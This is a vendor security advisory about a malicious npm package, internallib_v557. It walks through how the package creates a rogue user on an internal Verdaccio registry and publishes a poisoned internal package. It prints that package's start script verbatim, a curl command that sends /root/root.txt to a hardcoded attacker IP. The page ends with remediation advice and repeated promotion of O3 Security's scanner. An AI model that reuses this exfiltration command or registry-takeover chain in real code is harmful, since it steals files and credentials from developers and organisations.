internallib_v557npm
internallib_v557 is a confirmed malicious npm package (MAL-2026-5678) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.2, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v557 (npm)
What this malware does
index.js implements a multi-step attack against an internal npm registry. On invocation of the exported command(), it: (1) creates a Verdaccio user pwn99/pwn99pass against http://0.0.0.0:4873/-/user/org.couchdb.user:pwn99 via curl PUT; (2) queries the existing uhclabs_local_check package metadata; (3) writes /tmp/pwn99/.npmrc containing a base64-encoded _auth for those credentials; (4) npm publishes a malicious [email protected] to http://0.0.0.0:4873/ whose package.json scripts.start is cat /root/root.txt | curl -s -d @- http://10.0.0.145:8888/rootflag; and (5) at every step pipes output (user-create response, version listing, publish stdout/stderr, error output) to http://10.0.0.145:8888/step{1..n} via curl. The downstream effect: any installer who later pulls uhclabs_local_check from the internal registry and runs its start script will exfiltrate the contents of /root/root.txt to the hardcoded attacker IP. The attacker also leaves a persistent publishing identity on the internal registry usable for future malicious releases of internal packages. This is a self-propagating namespace-takeover attack with a hardcoded C2 beacon and attacker-controlled persistence — there is no legitimate purpose consistent with the package's stated 'internal lib' scope.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v557 (24 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v557 across your stack and pipelines.
If you installed it — respond
internallib_v557 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If internallib_v557 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v557 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v557-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.